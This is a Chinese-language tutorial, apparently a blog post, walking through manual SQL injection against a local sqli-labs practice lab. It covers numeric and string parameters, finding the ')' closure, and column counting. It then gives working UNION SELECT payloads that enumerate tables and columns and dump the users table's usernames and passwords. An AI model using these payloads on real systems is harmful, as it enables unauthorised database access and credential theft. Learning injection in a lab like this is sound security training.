场景:
win11家庭版,edge浏览器 , sqlin靶场
定义:
SQL 注入(SQL Injection)是一种常见的网络安全攻击方式,攻击者通过在 Web 应用程序中输入恶意的 SQL 代码,绕过应用程序的安全机制,对数据库进行未授权的访问和操作
注入产生:
所有客户端可以与服务端交互并且输入参数可控的交互口。
举例:
sqlin-map靶场
这里的URL的参数--ID 我们可以控制其的值
本地部署的cms
用户登录\注册的输入框
分类:
按照传入参数的类型
数字型
字符型
判断数字型和字符型的方式---1
sqlin靶场举例:
原来的网页:
这里是sqlin靶场的第二关
当id=3时,出现
Your Login name:Dummy
Your Password:p@ssword
我们这里,在id=3的数字“3”进行四则运算
推荐使用减号:
发现我们的信息改为了:
Your Login name:Angelina
Your Password:I-kill-you
而我们的第三关就不会变
这里我们可以知道我们的参数就是数字型了
-----Q:为什么我们不使用“+”(加号来测试呢?)
A:因为“+”可能被判断为拼接字符串,页面也会改变
判断数字型和字符型的方式---2
对参数进行逻辑判断
回到数字型的第二关:
我们输入:
?id =3 and 1=1
发现到:
和我们的 ?id=3结果一致
同时发现我们的参数变成了
?id=3%20and%201=1
这里是浏览器进行了URL编码处理
我们使用解码工具(edge插件 h4ck3r)解码
发现我们的%20实际就是空格
tips:
URL中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符。如果URL中包含了其他字符,例如空格、引号、中文等,那么可能会造成服务器或者浏览器的解析错误,或者导致URL的语义变化。
空格在
ASCII
码中对应的字节是0x20
,那么URL编码之后得到的就是%20
回到正题,这里我们设置成错的比较
?id= 3 and 1=2
发现
我们的数字型的输入直接报错
我们到字符型的第三关
就没有报错
这就是字符型和数字型的简单区别
字符型闭合
我们知道,后端代码处理字符串的参数,大多都有单引号,双引号,有些还会有个括号来包括我们的字符型输入参数,所以我们的字符型注入需要寻找闭合方式
我们这里的sqlin靶场是php的后端,同样存在
我们这里对我们第二关和第三关的网页进行代码审计:
第二关(数字)
我们发现我们的传入的参数是直接被赋值给id的并进行sql查询的
第三关(字符)
我们第三关这里,就存在一个单引号加单对括号的闭合
所以我们进行字符型注入的时候就必须测试它的闭合类型
判断闭合方式
这里我们存在两种可能:有回显/无回显,也就是所谓的盲注(blind)
我们先以有回显的方式来探讨:
-我们通过代码审计的方式,知道了less-3的闭合,
但是我们通常测试网站的时候都是黑盒测试,我们就得一步一步
我们通过输入闭合字符的是否报错方式来判断
1.当我们输入“单引号”的时候会发生报错
%27代表单引号,
2.我们输入正确的“单引号右括号”
成功回显,我们就发现我们的闭合方式找对了
简单的sql注入
第3关的信息我们收集的差不多
1.字符型 2.闭合方式为')
这里我们就可以开始进行测试了
判断列数和回显位
我们必须知道,网页中哪些字段是可以显示出来的,否则我们不知道数据库内的信息
我们闭合好输入字段后加入我们的payload 测试显示列数
http://localhost:8080/Less-3/?id=3') order by 19 --+
这里我们--+是一个注释,为了注释掉后方存在的sql语句,避免它报其他的错
我们发现它报错,说明我们猜测的数字19不对
我们可以使用二分法编写脚本来测试,
这里我们就慢慢来,发现最后的显示列数为3
http://localhost:8080/Less-3/?id=3') order by 3 --+
现在我们就开测试回显的地方
http://localhost:8080/Less-3/?id=-3') union select 1,2,3 --+
我们这里为了显示我们打上的1,2,3我们得把id的值设置不存在(我这里写的是-3),避免遮挡我们的123,我们可以从回显中找到,我们显示了2,3两个位置,这个时候,我们就可以在这两个地方
2,3替换为我们真正的攻击代码
id=-3%27)%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=database()--+
?id=-3') union select 1,table_name,3 from information_schema.tables where table_schema=database()--+
这里我们是直接获得的表名,
1,所有的数据库名,数据表,数据字段,存在一张mysql自带的初始数据库中:information_shcema
而xxx.tables是我们的数据库里面的表,存的是所有的表
2.table_schema,table_name是我们的表中的其中一个字段
3.我们database()会返回当前数据的名称
所有回显出来的emails就是我们的该数据库中的其中一个表
你如果不想这样,我们可以这样
http://localhost:8080/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
我们可以用同样的方法拿到数据库名,
使用group_concat()函数拼接所有表
很明显,我们的users表就是我们需要的数据表
后续一样来
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
关键字段就是Password了
union select 1,2,group_concat(username ,id , password) from users--+